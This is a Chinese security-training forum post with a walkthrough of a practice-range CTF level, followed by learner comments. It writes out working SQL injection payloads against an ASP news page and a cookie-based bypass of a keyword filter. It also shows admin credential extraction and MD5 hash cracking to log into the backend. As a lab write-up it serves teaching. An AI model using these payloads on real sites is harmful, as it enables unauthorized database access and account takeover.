2.1.1、靶场第二关解题思路 — Sql Injection — 注入攻击原理-2

admin   ·   发表于 2018-03-20 16:05:35   ·   CTF&WP专版

PPT已打包至附件!

Burp下载地址:http://bbs.zkaq.cn/?t/79.html

课程回放地址:https://ke.qq.com/course/275794?tuin=62e148


第二章:遇到阻难!绕过WAF过滤!【配套课时:SQL注入攻击原理 实战演练】

       我们打开传送门,映入眼帘的是一个新闻门户站。 我们点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。


 通过页面连接:

http://120.203.13.111:8001/shownews.asp?id=171


 我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了第171篇(id=171)新闻内容的值。

 



接下来我们尝试注入,用第一课学到的知识尝试输入字符拼接sql语句

http://120.203.13.111:8001/shownews.asp?id=171 order by 10




查询当前表是否有10个字段,页面返回正常,于是我们继续拼接order by,但把10改成11

http://120.203.13.111:8001/shownews.asp?id=171 order by 11


页面出现错误!返回数据库错误,证明此页面存在sql注入,也测试出此表拥有10个字段


我们继续拼接查询语句,通过from,看页面返回是否正常来猜测有没有admin这个表

http://120.203.13.111:8001/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin


访问发现有注入防护,经测试只要url出现select(查询)关键字,就会被拦截。


我们尝试,将测试语句放到cookie里面,再发送给服务器,因为网页防护一般只拦截Get、post传参。

我们打开Chrome浏览器,这里用到了ModHeader插件(可点击这里或在附件下载)。




我们点击+号新增一个Request头。



我们添加一个Cookie头,并写值为id=171,并确保已开启(打勾)

我们直接访问

http://120.203.13.111:8001/shownews.asp

返回显示正常,


这证明cookie里的id=171,也能正常传参,被当作sql语句拼接。那我们直接进行注入。

我们输入Cookie值为:

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

继续猜测是否存在admin表(+号代替空格,不然会出错)

发现页面回显了2、3、7、8、9。


没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password

比如2和3:

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c


这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。字母+数字的16位组合,很像md5的特征。

打开cmd5.com(解密站点)

将b9a2a2b5dffb918c进行解密。

发现密码的明文是welcome。

这个站貌似是南方的CMS,默认管理员后台是根目录的/admin/。

我们尝试打开后台:

http://120.203.13.111:8001/admin/

出现管理员登录页面,输入用户名admin、密码welcome,填写验证码。





                                成功登陆!到此,成功绕过防护注入得到密码,登陆后台拿到FLAG!


(chrome浏览器插件下载地址在附件,解压密码zkaq.org)



打赏我,让我更有动力~

Attachment List

61 Reply   |  Until 2个月前 | 127695 View

t607086
发表于 2020-8-25

老师为什么我的这个样子

评论列表

  • 加载数据中...

编写评论内容

13501539968
发表于 2020-10-2

Access没有数据库名,但猜表名、列名,用手注非常耗时。管理员这里直接猜得的表名是 admin 、列名是username、password

评论列表

  • 加载数据中...

编写评论内容

路yeah
发表于 2021-2-6

跪求第三题flag

评论列表

  • 加载数据中...

编写评论内容

nemo
发表于 2021-3-18

为什么我用modheader插件添加了request头之后,访问没有效果,页面报错。没有出现id为171的页面

评论列表

  • 加载数据中...

编写评论内容

firegod
发表于 2021-5-9


我完全按照步骤做,为什么我还是数据库出错,cookie感觉不好使,哪位大佬帮帮我

评论列表

  • 加载数据中...

编写评论内容

lurenjia
发表于 2021-5-27

各位大佬咨询一下cookei注入不了是什么个情况啊

评论列表

  • 加载数据中...

编写评论内容

无痕vvv
发表于 2021-8-10

oh

评论列表

  • 加载数据中...

编写评论内容

zlz
发表于 2022-1-8

插件怎么使用啊
弄完这个怎么运行啊

评论列表

  • 加载数据中...

编写评论内容

_lan
发表于 2022-5-11

还是想问一下怎么知道查询语句输入什么呀,怎么知道这是access数据库从而选择union后加表名的查询方式?有点疑惑,希望有大佬解答一下!

评论列表

  • 加载数据中...

编写评论内容

qiaoqianqian
发表于 2022-5-30

想知道,跟WAF有啥关联

评论列表

  • 加载数据中...

编写评论内容

3295564195
发表于 2023-8-15

为什么他会取cookie里的参数,比如/shownews.asp?id=169,为什么id取了cookie中的id,,是网站开发人员有写代码取cookie里的id吗?还是说所有网站都会自动取cookie中的参数来当url参数,,

评论列表

  • 加载数据中...

编写评论内容

苍龙封神
发表于 2023-8-31

得到账户:admin,密码:welcome。为什么输入Flag为welcome显示错误?

评论列表

  • 加载数据中...

编写评论内容

akgm
发表于 2023-10-17

有个疑问,from admin 和字段这个是从哪里得到的,是猜的还是有和其他题目关联,最后的管理页也是猜的吧,不知道这个靶场是否允许扫描

评论列表

  • 加载数据中...

编写评论内容

mysite1123
发表于 2023-11-13

为什么使用了modheader添加id后不能正常显示,依旧显示数据库错误,清理了Cookie也不行

评论列表

  • 加载数据中...

编写评论内容

3326386917
发表于 11个月前

这用kali不是更方便吗

评论列表

  • 加载数据中...

编写评论内容

3326386917
发表于 10个月前

为什么输入flag显示提交失败

评论列表

  • 加载数据中...

编写评论内容

开心123
发表于 10个月前

大佬们,这是什么情况


评论列表

  • 加载数据中...

编写评论内容

damie
发表于 7个月前

为什么会有网站可以把参数放到cookie里的,目的是什么?很疑惑

评论列表

  • 加载数据中...

编写评论内容

damie
发表于 7个月前

明明改cookie直接用浏览器自带的调试工具就能做到,为什么还要另外下个工具?

评论列表

  • 加载数据中...

编写评论内容

天涯浪客x
发表于 7个月前

有没有大佬知道怎么回事,刷新后没有回显,如图

评论列表

  • 加载数据中...

编写评论内容
首页 1 2 3 4 / 4 跳转 尾页
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.